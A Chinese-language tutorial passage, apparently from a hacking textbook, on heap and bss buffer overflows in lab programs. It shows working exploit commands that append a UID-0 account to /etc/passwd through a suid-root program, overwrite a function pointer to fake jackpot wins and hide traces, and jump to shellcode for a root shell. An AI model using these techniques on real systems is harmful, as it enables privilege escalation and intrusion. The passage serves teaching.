緩衝區溢位也能發生在 heap、bss 等其他記憶體區段。
如同
auth_overflow.c,只要有重要變數位於「易溢位的緩衝區」之後,程式的控制流程就能被改變——不論這些變數位在哪個記憶體區段。只是這種控制往往相當有限。找出這些控制點、學會善用它們,需要一些經驗與創造性思考。這類溢位不像堆疊型那麼標準化,但可以同樣有效。
基本的 heap 型溢位#
第 0x200 章的 notetaker 程式也有緩衝區溢位弱點:兩個緩衝區配置在 heap 上,第一個命令列引數被複製進第一個緩衝區。
buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/var/notes");
...
strcpy(buffer, argv[1]); // Copy into buffer.
正常情況下 buffer 位於 0x804a008、datafile 位於 0x804a070,相距 104 位元組。由於第一個緩衝區以 null 結尾,不溢出到下一個緩衝區所能放的最大資料量就是 104 位元組。
用 104 個
A時,null 終止位元組溢進datafile開頭,讓datafile變成單一個 null 位元組——無法當檔案開啟。但若把datafile覆寫成別的東西呢?
reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "A"x104 . "testfile"')
[DEBUG] datafile @ 0x804a070: 'testfile'
Note has been saved.
*** glibc detected *** ./notetaker: free(): invalid next size (normal): 0x0804a008 ***
這次溢位把 datafile 覆寫成 testfile,程式因此寫到 testfile 而非原本的 /var/notes。
之後
free()偵測到 heap 標頭錯誤並終止程式。如同堆疊溢位覆寫返回位址,heap 架構本身也有控制點。自 glibc 2.2.5 起,heap 記憶體管理函式專門演化來對抗 heap unlinking 攻擊——偵測到 heap 標頭問題時會印出除錯資訊並終止程式,使 Linux 中的 heap unlinking 非常困難。但這個特定漏洞利用不靠 heap 標頭資訊,等到free()被呼叫時,程式早已被誘騙以 root 權限寫入了新檔案。
利用「可控檔名」竄改 /etc/passwd#
由於 notetaker 是 suid root,它建立的檔案由 root 擁有,而且既然檔名可控,就能對任何檔案附加資料。這些資料有些限制:必須以可控的檔名結尾,而且會多寫入一行使用者 ID。
最明顯的利用方式是對 /etc/passwd 附加內容——這個關鍵檔案含有所有使用者的登入名稱、ID 與登入 shell。
/etc/passwd 的欄位、密碼雜湊與 salt
欄位以冒號分隔,依序為:登入名稱、密碼、使用者 ID、群組 ID、使用者名稱、家目錄、登入 shell。密碼欄通常填 x(加密密碼另存於 shadow 檔),但此欄也可直接放加密密碼。
密碼可用單向雜湊演算法加密。因為是單向的,無法從雜湊值還原原始密碼;為防查表攻擊,演算法使用 salt 值——salt 不同,同一密碼就產生不同雜湊。Perl 的 crypt() 可做這件事(第一引數是密碼、第二是 salt,salt 值總在雜湊開頭):
reader@hacking:~/booksrc $ perl -e 'print crypt("password", "XX")."\n"'
XXq2wKiyI43A2
於是要附加的一行大致是:
myroot:XXq2wKiyI43A2:0:0:me:/root:/bin/bash這個 heap 溢位的特性要求字串必須以
/etc/passwd結尾,否則 passwd 檔項目就會不正確。解法是巧用符號連結(symbolic link):
reader@hacking:~/booksrc $ mkdir /tmp/etc
reader@hacking:~/booksrc $ ln -s /bin/bash /tmp/etc/passwd
現在 /tmp/etc/passwd 指向登入 shell /bin/bash,所以 /tmp/etc/passwd 也是密碼檔的有效登入 shell。只要把 /etc/passwd 之前的部分精確湊成 104 位元組長,這一行就既能以 /etc/passwd 結尾、又是合法的密碼檔項目:
reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 . ":/root:/tmp/etc/passwd"')
...
reader@hacking:~/booksrc $ su myroot
Password:
root@hacking:/home/reader/booksrc# whoami
root
覆寫函式指標#
若你玩過夠多次 game_of_chance.c,會發現如同賭場,大多數遊戲的機率在統計上都對莊家有利。也許有辦法讓賠率公平一點。
這個程式用一個函式指標記住上次玩的遊戲,存在宣告為全域變數的 user 結構中——因此整個結構的記憶體都配置在 bss 區段。
struct user {
int uid;
int credits;
int highscore;
char name[100];
int (*current_game) ();
};name 緩衝區由 input_name() 設定,它只在遇到換行時才停止輸入,沒有任何機制限制到目的緩衝區的長度——溢位因此可能。
要利用這個溢位,需讓程式在函式指標被覆寫之後去呼叫它。這發生在
play_the_game()裡。但只有在last_game不等於當前選擇時,函式指標才會被改成對應遊戲——所以要讓程式呼叫函式指標而不覆寫它,必須先玩一次遊戲來設定last_game。
概念驗證:先讓它崩潰#
用 GDB 檢視得知 name 緩衝區距 current_game 指標 100 位元組。生成一個溢位緩衝區(100 個 A 加上 BBBB),透過「更改使用者名稱」貼入:
[DEBUG] current_game pointer @ 0x42424242
Segmentation fault
函式指標被覆寫成 0x42424242(即 BBBB),再玩一次遊戲就崩潰。這證明執行可被控制,現在只需一個有效位址取代 BBBB。
用 nm 找到 jackpot() 並改寫賠率#
nm 命令列出目的檔中的符號,可用來找函式位址。jackpot() 函式(0x08048d70)是絕佳目標:
儘管遊戲賠率糟糕,若把
current_game函式指標小心覆寫成jackpot()的位址,你甚至不必玩遊戲就能贏得點數——jackpot()會被直接呼叫,發出 100 點的獎勵。
程式從標準輸入取得輸入,選單選擇可全部寫在一個緩衝區裡、以管線送入。以下一行先玩一次 Pick a Number,再把使用者名稱改成 100 個 A 加上 jackpot() 位址,覆寫函式指標;之後每玩一次 Pick a Number 就直接呼叫 jackpot():
reader@hacking:~/booksrc $ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\x8d\x04\x08\n" . "1\n" . "y\n"x10 . "n\n5\nJon Erickson\n7\n"' | ./game_of_chance
...
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
反覆觸發即可累積任意數量的點數(並在最後把名稱改回,掩蓋痕跡)。
從免費點數到 root shell#
這個程式同樣以 suid root 執行——這表示 shellcode 能做的遠不只贏免費點數。
如同堆疊型溢位,可把 shellcode 藏進環境變數,用 getenvaddr 算出其位址,再把函式指標覆寫成該位址:
reader@hacking:~/booksrc $ export SHELLCODE=$(cat ./shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./game_of_chance
SHELLCODE will be at 0xbffff9e0
reader@hacking:~/booksrc $ perl -e 'print "1\n7\nn\n5\n" . "A"x100 . "\xe0\xf9\xff\xbf\n" . "1\n"' > exploit_buffer
reader@hacking:~/booksrc $ cat exploit_buffer - | ./game_of_chance
...
[DEBUG] current_game pointer @ 0xbffff9e0
whoami
root